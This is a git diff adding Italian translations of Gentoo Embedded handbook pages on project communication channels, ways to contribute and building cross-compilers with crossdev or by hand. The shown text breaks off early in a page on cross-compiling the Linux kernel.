diff --git a/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-sh-lilo.xml b/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-sh-lilo.xml
new file mode 100644
index 00000000..2e336c6e
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-sh-lilo.xml
@@ -0,0 +1,24 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/bootloaders-sh-lilo.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Porting di LILO sull'architettura SuperH, sulla quale è molto diffuso.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/communication.xml b/xml/htdocs/proj/it/base/embedded/handbook/communication.xml
new file mode 100644
index 00000000..0a8077fe
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/communication.xml
@@ -0,0 +1,70 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/communication.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+I canali di comunicazione con il progetto Gentoo Embedded.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Mailing List</title>
+<body>
+
+<p>
+Il primo passo per partecipare al progetto Gentoo Embedded è quello di
+iscriversi alla mailing list <mail
+link="gentoo-embedded@gentoo.org">gentoo-embedded@gentoo.org</mail>. Dopo di
+che, chiedere se c'è in progetto di supportare qualcosa di vostro interesse,
+proporre un nuovo progetto o sceglierne uno tra quelli già pianificati e
+contribuire.
+</p>
+
+<p>
+Per maggiori informazioni, visitare la <uri link="/main/it/lists.xml">pagina
+dedicata alle mailing list</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+È possibile parlare  con sviluppatori e utenti sul canale IRC
+<c>#gentoo-embedded</c> su <c>irc.freenode.net</c> per avere maggiori
+informazioni o solo chiaccherare del progetto o dei vari sotto progetti.
+</p>
+
+<p>
+Per maggiori informazioni, visitare la <uri link="/main/it/irc.xml">pagina
+dedicata ai canali IRC</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+Il progetto si appoggia al <uri link="http://bugs.gentoo.org/">Gentoo
+Bugzilla</uri> per tener traccia di tutto. Tutti i bug report dovrebbero andare
+a finire qui.
+</p>
+
+<p>
+Per maggiori informazioni, leggere la <uri
+link="/doc/it/bugzilla-howto.xml">Guida alla Segnalazione di Bug in
+Gentoo</uri>.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/contributing.xml b/xml/htdocs/proj/it/base/embedded/handbook/contributing.xml
new file mode 100644
index 00000000..e4c60ce6
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/contributing.xml
@@ -0,0 +1,107 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/contributing.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Gentoo Embedded e voi: la risposta alla domanda frequente "Cosa posso fare io?".
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Dove Contribuire</title>
+<body>
+
+<p>
+Prima di tutti, leggere la pagina dedicata ai <uri link="communication.xml">
+canali di comunicazione con il progetto Gentoo Embedded</uri> e iscriversi come
+indicato. Per favore non cominciate a scrivere email ai singoli sviluppatori.
+</p>
+
+<p>
+Di seguito si evidenzieranno i diversi modi in cui potrete dare una mano.
+Contribuite come e quando potete!
+</p>
+
+</body>
+</section>
+<section>
+<title>Arch Tester</title>
+<body>
+
+<p>
+Spesso considerata un'attività noiosa, è sfortunatamente critica per il corretto
+funzionamento di un port. Richiede il testing dei nuovi pacchetti che devono
+esser marcati come stabili o che non sono ancora stati testati su una specifica
+architettura. Semplicemente scegliete la vostra architettura embedded preferita
+(arm, m68k, mips, ppc, sh) e cominciate a tener d'occhio gli alias sul Gentoo
+Bugzilla. Quando viene aperto un bug di richiesta di stabilizzazione o di
+testing per una architettura, testate il pacchetto in questione nel vostro
+ambiente e riportate nel bug come sono andate le cose. Se desiderate contribuire
+ulteriormente, diventate sviluppatori dell'architettura in questione e
+cominciate direttamente a mandare voi stessi le correzioni! :) Visitate la
+pagina del progetto <uri link="/proj/en/devrel/">Gentoo Developer
+Relations</uri> per maggiori informazioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>Release Engineers</title>
+<body>
+
+<p>
+Ogni release di Gentoo comporta stage aggiornati, base necessaria per creare
+nuove installazioni native. Ogni architettura (arm, m68k, sh) necessita di una
+persona dedicata che crei gli stage e che tenga traccia e corregga gli errori
+che via via vengono riscontrati.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sviluppatori per uno specifico dispositivo</title>
+<body>
+
+<p>
+Avete un fantastico nuovo dispositivo embedded e ci volete metter su gentoo?
+Fatelo! Una volte che ce l'avrete fatta, mettete insieme un po' di informazioni
+a riguardo e fatele integrare nel Manuale di Gentoo Embedded. Dopo di che,
+cominciate a a creare delle immagini pronte all'uso per permettere ad altri di
+sfruttare tale tipologia di dispositivo e contribuire.
+</p>
+
+</body>
+</section>
+<section>
+<title>Rispondete alle Domande</title>
+<body>
+
+<p>
+Avete una buona conoscenza e vi piacere aiutare gli altri? Stupendo! Ogni giorno
+sulle nostre mailing list/sui nostri canali irc/etc... riceviamo domande che
+richiedono solo che qualcuno le le legga e risponda per quanto può. Magari
+imparerete anche voi un paio di cose!
+</p>
+
+</body>
+</section>
+<section>
+<title>Autori di Documentazione</title>
+<body>
+
+<p>
+Uno dei punti di forza di Gentoo è la documentazione. La quale però non si
+scrive da sola, per questo c'è bisogno di persone che conoscano il formato <uri
+link="/doc/it/xml-guide.xml">GuideXML per la documentazione</uri> così da dare
+una mano a mantenere ed espandere la documentazione sul progetto Gentoo
+Embedded.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/cross-compiler.xml b/xml/htdocs/proj/it/base/embedded/handbook/cross-compiler.xml
new file mode 100644
index 00000000..c65c9ebc
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/cross-compiler.xml
@@ -0,0 +1,680 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/cross-compiler.xml,v 1.6 2010/06/23 20:06:16 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Creare un cross-compilatore sulla propria macchina!
+</abstract>
+
+<version>0.3</version>
+<date>2010-04-13</date>
+
+<section>
+<title>Prologo</title>
+<body>
+
+<p>
+La prima cosa da sapere sulla creazione di una toolchain è che certe versioni di
+alcuni suoi componenti non funzionano assieme. Sapere quali siano le esatte
+combinazioni problematiche è un dato che è in costante mutamento a seconda di
+come si sviluppa l'albero di portage. L'unico modo sicuro per determinare se una
+certa combinazione funziona è eseguire crossdev, specificando le versioni dei
+vari componenti secondo necessità, finché non viene completata con successo la
+compilazione dell'intera toolchain. Anche a quel punto, la cross toolchain
+potrebbe generare binari non funzionanti sul sistema di destinazione. Solo
+avendo pazienza e procedendo per tentativi ed errori si potrà ottenere una
+combinazione favorevole di tutti i fattori.
+</p>
+
+<p>
+Tutti i pacchetti della toolchain sono pensati in modo tale da esser totalmente
+isolati in base all'architettura di destinazione, per cui non c'è modo che
+interferiscano con l'ambiente nativo di compilazione. Questo permette di
+installare cross-compilatori per qualunque architettura si desideri senza
+intaccare il resto del sistema.
+</p>
+
+<p>
+Tuttavia, ci sono alcuni scenari, anche se in diminuzione ogni giorno che
+passa, che fanno sì che portage richieda o influenzi dei cambiamenti alla root
+reale. Per mantenere pulita la propria installazione di Gentoo, si raccomanda
+caldamente che l'installazione di crossdev e tutte le attività di
+cross-compilazione avvengano dentro ad un chroot di uno stage3 di Gentoo. (È lo
+stesso chroot usato per installare Gentoo.)
+</p>
+
+</body>
+</section>
+<section>
+<title>crossdev</title>
+<subsection>
+<title>Introduzione</title>
+<body>
+
+<p>
+Generare a mano un cross-compilatore era un processo lungo e tedioso. Per questo
+è stato integrato totalmente in Gentoo! Tramite un'interfaccia chiamata
+<c>crossdev</c> (installabile con <c>emerge crossdev</c>) <c>emerge</c> verrà
+eseguito con tutte le variabili d'ambiente valorizzate correttamente ed
+installerà tutti i pacchetti corretti per generare qualunque tipo di
+cross-compilatore di cui si ha bisogno. Per prima cosa bisogna installare
+<c>crossdev</c>.
+</p>
+
+<pre caption="Installare crossdev">
+# <i>emerge crossdev</i>
+</pre>
+
+<p>
+È consigliabile installare la versione instabile (~arch) di crossdev per
+ottenere tutte le più recenti correzioni.
+</p>
+
+<note>
+Se si sta effettuando un aggiornamento da una vecchia versione di crossdev, e
+c'è <c>crossdev-wrappers</c> installato, assicurarsi prima di disinstallare
+crossdev-wrappers. Le cross-toolchain esistenti rimarranno intatte.
+</note>
+
+<p>
+In questo documento verrà coperto solamente l'utilizzo basilare di crossdev,
+tuttavia questo strumento può personalizzare adeguatamente il processo per la
+maggior parte delle necessità. Eseguire <c>crossdev --help</c> per ottenere
+alcune indicazioni su come usare crossdev. Ecco alcune delle modalità d'uso più
+comuni:
+</p>
+
+<pre caption="Opzioni di crossdev utili">
+<comment>(Usare delle versioni specifiche dei pacchetti)</comment>
+# <i>crossdev --g [gcc version] --l [(g)libc version] --b [binutils version] --k
+[kernel headers version] -P -v -t [tuple]</i>
+<comment>(Usare solamente la versione stabile)</comment>
+# <i>crossdev -S -P -v -t [tuple]</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Installazione</title>
+<body>
+
+<p>
+Il primo passo consiste nel selezionare la corretta stringa per
+il sistema di destinazione. Prendiamo ad esempio che si voglia generare
+un cross-compilatore per il processore SH4 (SuperH) con supporto alle
+glibc per Sistema Operativo Linux. Il tutto partendo da una macchina
+PowerPC.
+</p>
+
+<pre caption="Generazione del cross-compilatore per SH4">
+# <i>crossdev --target sh4-unknown-linux-gnu</i>
+-----------------------------------------------------------------------------------------------------
+ * Host Portage ARCH:     ppc
+ * Target Portage ARCH:   sh
+ * Target System:         sh4-unknown-linux-gnu
+ * Stage:                 4 (C/C++ compiler)
+
+ * binutils:              binutils-[latest]
+ * gcc:                   gcc-[latest]
+ * headers:               linux-headers-[latest]
+ * libc:                  glibc-[latest]
+
+ * PORTDIR_OVERLAY:       /usr/local/portage
+ * PORT_LOGDIR:           /var/log/portage
+ * PKGDIR:                /usr/portage/packages/powerpc-unknown-linux-gnu/cross/sh4-unknown-linux-gnu
+ * PORTAGE_TMPDIR:        /var/tmp/cross/sh4-unknown-linux-gnu
+  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _
+ * Forcing the latest versions of {binutils,gcc}-config/gnuconfig ...                          [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-binutils.log
+ * Emerging cross-binutils ...                                                                 [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-gcc-stage1.log
+ * Emerging cross-gcc-stage1 ...                                                               [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-linux-headers.log
+ * Emerging cross-linux-headers ...                                                            [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-glibc.log
+ * Emerging cross-glibc ...                                                                    [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-gcc-stage2.log
+ * Emerging cross-gcc-stage2 ...                                                               [ ok ]
+</pre>
+
+<note>
+Al momento non è possibile assegnare a <c>PORTAGE_CONFIGROOT</c> una directory
+predisposta per l'architettura di destinazione prima di invocare
+<c>crossdev</c>, bisogna invece usare la propria configurazione. Se si vogliono
+usare FLAG use specifiche per architettura, come <c>altivec</c> su
+un'architettura non powerpc, bisogna smascherare la flag use in
+<c>/usr/portage/base/use.mask</c>, o cambiare temporaneamente il proprio
+profilo.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>Test Veloce</title>
+<body>
+
+<p>
+Se tutto è andato come previsto, si dovrebbe avere un compilatore nuovo
+fiammante sulla propria macchina. Facciamo una prova!
+</p>
+
+<pre caption="test del cross-compilatore per SH4">
+$ <i>sh4-unknown-linux-gnu-gcc --version</i>
+sh4-unknown-linux-gnu-gcc (GCC) 4.2.0 (Gentoo 4.2.0 p1.4)
+Copyright (C) 2007 Free Software Foundation, Inc.
+This is free software; see the source for copying conditions.  There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+$ <i>echo 'int main(){return 0;}' > sh4-test.c</i>
+$ <i>sh4-unknown-linux-gnu-gcc -Wall sh4-test.c -o sh4-test</i>
+$ <i>file sh4-test</i>
+sh4-test: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped
+</pre>
+
+<p>
+Se il comando crossdev fallisse, saranno comunque a disposizione i
+log per analizzare il problema che si è verificato. Se non si è in
+grado di risolvere il problema, aprite pure un bug sul bugzilla di Gentoo.
+Per maggiori informazioni visitare la <uri link="communication.xml">pagina
+dei Contatti</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Disinstallazione</title>
+<body>
+
+<p>
+Per disinstallare una toolchain, è sufficiente usare l'opzione <c>--clean</c>.
+Se la sysroot è stata modificata a mano, vi verrà domandato se cancellarne il
+contenuto, per cui potreste volere mettere in pipe <c>yes |</c> al comando.
+</p>
+
+<pre caption="disinstallare il cross-compiler">
+# <i>crossdev --clean sh4-unknown-linux-gnu</i>
+</pre>
+
+<p>
+Nel caso non lo si abbia già notato, cancellare tutti i file contenuti nella
+directory <path>/usr/CTARGET/</path> è completamente sicuro.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Opzioni</title>
+<body>
+
+<p>
+Ovviamente crossdev può fare molte altre cose, per scoprirle, basta lanciare
+<c>crossdev --help</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>I dettagli della Cross-Compilazione</title>
+<subsection>
+<body>
+
+<warn>
+Questa sezione è inclusa per i posteri, nella speranza che possa essere utile ad
+altri. I lettori a cui è dedicata sono coloro che (per una ragione o per
+l'altra) vogliono crearsi a mano, tutto da soli, il proprio cross-compilatore
+usando binutils/(glibc|uclibc)/gcc . Questa sezione <b>non</b> è intesa per
+illustrare/documentare/quelchevolete la miriade di errori di compilazione che
+quasi sicuramente si incontreranno lungo la via. Se avete bisogno di tale
+supporto, leggete la sezione <uri link="the-more-you-know.xml">Ampliare le
+proprie Conoscenze</uri> del Manuale, ma non lamentatevi con l'autore o chiunque
+altro all'interno di Gentoo.
+</warn>
+
+<warn>
+Se state ancora leggendo, dovreste controllare il progetto CrossTool (fate
+riferimento alla sezione <uri link="the-more-you-know.xml">Ampliare le proprie
+Conoscenze</uri>) che fornisce un metodo generico adatto ad ogni distribuzione
+per generare un cross-compilatore. Pur essendo, a giudizio dell'autore, poco
+più che un accrocchio, è sicuramente la migliore, nonché l'unica, via
+percorribile per ottenere un cross-compilatore.
+</warn>
+
+</body>
+</subsection>
+<subsection>
+<title>Introduzione</title>
+<body>
+
+<p>
+Generalmente ci sono due strade percorribili per generare il proprio
+compilatore. La via "maestra" e l'oscura scorciatoia.
+</p>
+
+<p>
+La via "maestra" è:
+</p>
+
+<ol>
+  <li>binutils</li>
+  <li>header del kernel</li>
+  <li>header delle libc</li>
+  <li>gcc stage1 (solo c)</li>
+  <li>libc</li>
+  <li>gcc stage2 (c/c++/etc...)</li>
+</ol>
+
+<p>
+L'oscura scorciatoia invece è:
+</p>
+
+<ol>
+  <li>binutils</li>
+  <li>header del kernel</li>
+  <li>gcc stage1 (solo c)</li>
+  <li>libc</li>
+  <li>gcc stage2 (c/c++/etc...)</li>
+</ol>
+
+<p>
+Molte persone seguono la scorciatoia perche la generazione degli header delle
+libc richiede molto tempo, specie su macchine lente. Inoltre installare gli
+header del kernel e/o delle libc senza un cross-compilatore funzionante potrebbe
+esser una scocciatura. Ricordate però che se si cerca aiuto sui
+cross-compilatori, il progetto upstream non vi offrirà supporto se avrete
+utilizzato la scorciatoia.
+</p>
+
+<p>
+La scorciatoia inoltre richiede uno stage1 "menomato". Dal momento che si sta
+compilando senza gli header, non è possibile abilitare le varie opzione della
+sysroot né è possibile compilare correttamente le librerie del gcc. Questa
+situazione può essere accettabile solo se si usa lo stage1 per compilare la
+libreria C e il kernel, per tutto il resto sarà necessario un compilatore basato
+su sysroot.
+</p>
+
+<p>
+Di seguito verrà descritta solo la via "riconosciuta", i passi da fare comunque
+sono praticamente gli stessi. Per la scorciatoia sarà sufficiente applicare
+qualche patch supplementare al gcc.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Sysroot</title>
+<body>
+
+<p>
+La cross-compilazione avverrà usando il metodo della sysroot. Ma cosa si intende
+precisamente quando si parla di sysroot ?
+</p>
+
+<p>
+Dalla documentazione del gcc:<br/>
+Dice al GCC di considerare dir come la radice (NdT. root) di un'alberatura
+contenente il filesystem di root del sistema operativo di destinazione. Gli
+header del sistema di destinazione, le librerie e gli oggetti a run-time saranno
+ricercati al suo all'interno.
+</p>
+
+<p>
+La directory radice solitamente viene posizionata in /usr/$CTARGET .
+</p>
+
+<pre caption="tipico layout di una sysroot">
+/usr/$CTARGET/
+|-- bin/
+|-- lib/            librerie di runtime critiche (libc/ldso/etc...)
+`-- usr/
+|-- include/    header per lo sviluppo
+|   |-- linux/      come il kernel linux
+|   `-- asm/        come le dir. specifiche per ogni architettura
+`-- lib/        librerie di runtime / sviluppo non critiche
+</pre>
+
+<p>
+Come si può notare, è una configurazione analoga alla / , solo che si trova in
+/usr/$CTARGET. Questa scelta non è ovviamente accidentale, ma pensata di
+proposito così da rendere semplice la migrazione di applicazioni e/o librerie da
+/usr/$CTARGET alla / sull'architettura di destinazione. volendo, è possibile
+utilizzare /usr/$CTARGET come NFS root pronta all'uso!
+</p>
+
+<note>
+Note pre sysroot:<br/>
+Il vecchio metodo per cross-compilare imponeva l'uso di --prefix=/usr/$CTARGET.
+Se si stanno usando versioni di binutils/gcc antecedenti al supporto al sysroot,
+ci si potrebbe trovar a dover agire come sopra indicato. Non sarà però qui
+illustrato il come, in quanto (1) non si dovrebbero usare versioni così
+datate/arrugginite/bacate di tali componenti e (2) sarebbe molto più scomodo e
+problematico in confronto a sysroot.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>Binutils</title>
+<body>
+
+<p>
+Prelevare l'ultima versione del pacchetto binutils e scompattarlo.
+</p>
+
+<p>
+L'opzione di configurazione --disable-werror è usata per evitare che la
+compilazione delle binutils fallisca per via dei warning. Caratteristica molto
+utile per gli sviluppatori, molto problematica invece per gli utenti.
+</p>
+
+<pre caption="configurazione e compilazione delle binutils">
+$ <i>./configure \
+     --target=$CTARGET \
+     --prefix=/usr \
+     --with-sysroot=/usr/$CTARGET \
+     --disable-werror</i>
+$ <i>make</i>
+$ <i>make install DESTDIR=$PWD/install-root</i>
+</pre>
+
+<p>
+Il motivo per cui le binutils vengono installate nella directory
+install-root è per permettere la rimozione di componenti di cui non
+si ha bisogno. Ad esempio, una normale installazione creerà
+/usr/lib/libiberty.a che non deve però far parte del sistema in uso.
+Va perciò fatta prima un po' di pulizia:
+</p>
+
+<pre caption="ripuliamo le binutils">
+$ <i>rm -rf install-root/usr/{info,lib,man,share}</i>
+</pre>
+
+<p>
+Installare quindi quanto rimasto :
+</p>
+
+<pre caption="installazione delle binutils">
+# <i>cp -a install-root/* /</i>
+</pre>
+</body>
+</subsection>
+<subsection>
+<title>Header del kernel</title>
+<body>
+<p>
+Prelevare l'ultimo pacchetto del kernel e scompattarlo. Gli header possono
+essere installati in 2 modi: ripuliti o grezzi. La prima è chiaramente migliore
+(richiede però una versione recente del kernel Linux), ma verranno illustrate
+brevemente entrambe.
+</p>
+
+<note>
+Ricordarsi di sostituire $ARCH con un valore sensato per la propria
+architettura.
+</note>
+
+<pre caption="Compilazione/installazione degli header grezzi">
+$ <i>yes "" | make ARCH=$ARCH oldconfig prepare</i>
+# <i>mkdir -p /usr/$CTARGET/usr/include</i>
+# <i>cp -a include/linux include/asm-generic /usr/$CTARGET/usr/include/</i>
+# <i>cp -a include/asm-$ARCH /usr/$CTARGET/usr/include/asm</i>
+</pre>
+
+<pre caption="compilazione/installazione degli header ripuliti">
+# <i>make ARCH=$ARCH headers_install INSTALL_HDR_PATH=/usr/$CTARGET/usr</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Header delle libc di sistema</title>
+<body>
+
+<p>
+Prelevare l'ultimo pacchetto delle glibc e scompattarlo. Le Glibc sono piuttosto
+esigenti, per questo andranno compilate in una directory differente da quella
+dei sorgenti.
+</p>
+
+<pre caption="compilazione/installazione degli header delle glibc">
+$ <i>mkdir build</i>
+$ <i>cd build</i>
+$ <i>../configure \
+     --host=$CTARGET \
+     --prefix=/usr \
+     --with-headers=/usr/$CTARGET/usr/include \
+     --without-cvs \
+     --disable-sanity-checks</i>
+# <i>make -k install-headers install_root=/usr/$CTARGET</i>
+</pre>
+
+<p>
+Purtroppo le glibc non sono perfette e richiedono che alcune operazioni siano
+fatte a mano:
+</p>
+
+<pre caption="diamo una mano alle glibc">
+# <i>mkdir -p /usr/$CTARGET/usr/include/gnu</i>
+# <i>touch /usr/$CTARGET/usr/include/gnu/stubs.h</i>
+# <i>cp bits/stdio_lim.h /usr/$CTARGET/usr/include/bits/</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>GCC Stage 1 (solo C)</title>
+<body>
+
+<p>
+Prima di tutto bisogna fare in modo che il gcc trovi gli header delle libc.
+</p>
+
+<pre caption="diamo una mano al gcc">
+# <i>ln -s usr/include /usr/$CTARGET/sys-include</i>
+</pre>
+
+<p>
+Quindi prelevare l'ultima versione del pacchetto gcc e scompattarlo.
+</p>
+
+<pre caption="compilazione del gcc stage 1">
+$ <i>mkdir build</i>
+$ <i>cd build</i>
+$ <i>../configure \
+     --target=$CTARGET \
+     --prefix=/usr \
+     --with-sysroot=/usr/$CTARGET \
+     --enable-languages=c \
+     --disable-shared \
+     --disable-checking \
+     --disable-werror \
+     --disable-libmudflap \
+     --disable-libssp \
+     --disable-libgomp \
+     --disable-libssp</i>
+$ <i>make</i>
+$ <i>make install DESTDIR=$PWD/install-root</i>
+</pre>
+
+<p>
+Come le binutils, anche il gcc crea dei file che non ci interessano.
+</p>
+
+<pre caption="ripuliamo il gcc stage 1">
+$ <i>rm -rf install-root/usr/{info,include,lib/libiberty.a,man,share}</i>
+</pre>
+
+<p>
+Installare poi quanto rimasto (tutto dovrebbe finire nelle directory del
+CTARGET specificato, senza sovrascrivere alcun file del sistema in uso):
+</p>
+
+<pre caption="installazione del gcc stage 1">
+# <i>cp -a install-root/* /</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Libc di Sistema</title>
+<body>
+
+<p>
+Eliminare la vecchia cartella di compilazione del gcc e ricrearla.
+</p>
+
+<pre caption="compilazione/installazione delle glibc">
+$ <i>rm -rf build</i>
+$ <i>mkdir build</i>
+$ <i>cd build</i>
+$ <i>../configure \
+     --host=$CTARGET \
+     --prefix=/usr \
+     --without-cvs</i>
+$ <i>make</i>
+# <i>make install install_root=/usr/$CTARGET</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>GCC Stage 2 (Tutti i frontend)</title>
+<body>
+
+<p>
+È giunta l'ora di compilare un GCC completo. Scegliere i frontend al
+compilatore d'interesse; per semplicità si selezioneranno solo C e C++.
+</p>
+
+<pre caption="compilare/installare il gcc stage 2">
+$ <i>./configure \
+     --target=$CTARGET \
+     --prefix=/usr \
+     --with-sysroot=/usr/$CTARGET \
+     --enable-languages=c,c++ \
+     --enable-shared \
+     --disable-checking \
+     --disable-werror</i>
+$ <i>make</i>
+# <i>make install</i>
+</pre>
+</body>
+</subsection>
+<subsection>
+<title>File Core Runtime</title>
+<body>
+
+<p>
+Ci sono diversi file core runtime casuali di cui si vorrebbe conoscerne la
+funzione. Ecco una breve spiegazione.
+</p>
+
+<table>
+<tr>
+  <th colspan="2">File forniti dalle glibc</th>
+</tr>
+<tr>
+  <th>File</th> <th>Funzione</th>
+</tr>
+<tr>
+  <ti>crt0.o</ti>
+  <ti>
+    Vecchio stile del runtime code iniziale ? Nessuno lo genera più.
+  </ti>
+</tr>
+<tr>
+  <ti>crt1.o</ti>
+  <ti>
+    Nuovo stile del runtime code iniziale. Contiene il simbolo _start che
+    configura l'ambiente con argc/argv/libc_init/libc_fini prima di passare al
+    main della libc. Le glibc chiamano questo file 'start.S'.
+  </ti>
+</tr>
+<tr>
+  <ti>crti.o</ti>
+  <ti>
+    Definisce la funzione prolog; _init nella sezione .init e _fini nella
+    sezione .fini. Le glibc chiamano questo file 'initfini.c'.
+  </ti>
+</tr>
+<tr>
+  <ti>crtn.o</ti>
+  <ti>
+    Definisce la funzione epilog. Le glibc chiamano questo file 'initfini.c'.
+  </ti>
+</tr>
+<tr>
+  <ti>Scrt1.o</ti>
+  <ti>Usato al posto di crt1.o quando si creano eseguibili PIE.</ti>
+</tr>
+<tr>
+  <ti>gcrt1.o</ti>
+  <ti>
+    Usato al posto di crt1.o quando si crea codice con informazioni per il
+    profiling. Compila con -pg. Produce in output dei file adatti al
+    programma gprof.
+  </ti>
+</tr>
+<tr>
+  <ti>Mcrt1.o</ti>
+  <ti>
+    Come gcrt1.o, ma è usato con il programma prof. Dal momento che è inutile
+    sui sistemi linux, le glibc ne installano una versione fittizia.
+  </ti>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th colspan="2">File forniti dal GCC</th>
+</tr>
+<tr>
+  <th>File</th>
+  <th>Funzione</th>
+</tr>
+<tr>
+  <ti>crtbegin.o</ti>
+  <ti>Usato dal GCC per trovare l'inizio dei costruttori.</ti>
+</tr>
+<tr>
+  <ti>crtbeginS.o</ti>
+  <ti>
+    Usato al posto di crtbegin.o quando si creano shared objects o eseguibili
+    PIE.
+  </ti>
+</tr>
+<tr>
+  <ti>crtbeginT.o</ti>
+  <ti>
+    Usato al posto di crtbegin.o quando si creano eseguibili statici.
+  </ti>
+</tr>
+<tr>
+  <ti>crtend.o</ti>
+  <ti>
+    Usato dal GCC per trovare l'inizio dei distruttori.
+  </ti>
+</tr>
+<tr>
+  <ti>crtendS.o</ti>
+  <ti>
+    Usato al posto di crtend.o quando si creano shared objects o eseguibili PIE.
+  </ti>
+</tr>
+</table>
+
+<p>
+L'ordine generale in fase di linking:
+</p>
+
+<pre caption="ordine generale in fase di linking">
+... crt1.o crti.o crtbegin.o [-L paths] [user objects] [gcc libs] [C libs] [gcc libs] crtend.o crtn.o
+</pre>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/cross-compiling-kernel.xml b/xml/htdocs/proj/it/base/embedded/handbook/cross-compiling-kernel.xml
new file mode 100644
index 00000000..5c297fdb
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/cross-compiling-kernel.xml
@@ -0,0 +1,131 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/cross-compiling-kernel.xml,v 1.3 2010/05/05 21:32:07 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Cross-compilare con successo un kernel per il proprio sistema!
+</abstract>
+
+<version>0.3</version>
+<date>2010-04-13</date>
+
+<section>
+<title>Sorgenti</title>
+<body>
+
+<p>
+Prima di tutto occorre installare i sorgenti del kernel. Si può utilizzare
+portage per installare il pacchetto necessario, o scaricarli
+dall'<uri link="http://kernel.org/">Archivio dei Kernel Linux</uri> o da dove
+si preferisce. Il metodo per compilarli è sempre lo stesso.
+</p>
+
+<p>
+Bisognerà installare il kernel nella sysroot così che se si effettuerà la
+cross-compilazione dei pacchetti che includono moduli del kernel, il processo
+sarà trasparente. Altrimenti si potranno compilare i sorgenti del kernel dove
+si preferisce. Alcuni mantengono i sorgenti del kernel in
+<path>/usr/src/</path>, ad esempio.
+</p>
+
+</body>
+</section>
+<section>
+<title>Preparazione alla Cross-compilazione</title>
+<body>
+
+<p>
+Due sono le variabili usate dal kernel per selezionare l'architettura di
+destinazione. Normalmente questi valori sono ricavati dall'ambiente dove viene
+compilato il kernel, in questo caso però l'ambiente non corrisponde
+all'architettura di destinazione, per cui bisogna forzarle. Le variabili in
+questione sono <c>ARCH</c> e <c>CROSS_COMPILE</c>. I valori predefiniti per
+entrambe si trovano nel Makefile presente nella directory radice dei sorgenti e
+possono essere forzati da linea di comando.
+</p>
+
+<p>
+La variabile <c>ARCH</c> indica il nome l'architettura di destinazione, nel
+formato specificato dal kernel. Mentre portage e altri programmi usano la
+dicitura "x86", il kernel usa "i386". Per avere un'idea delle sigle delle
+diverse architetture visualizzare il contenuto della subdirectory
+<path>arch/</path>.
+</p>
+
+<p>
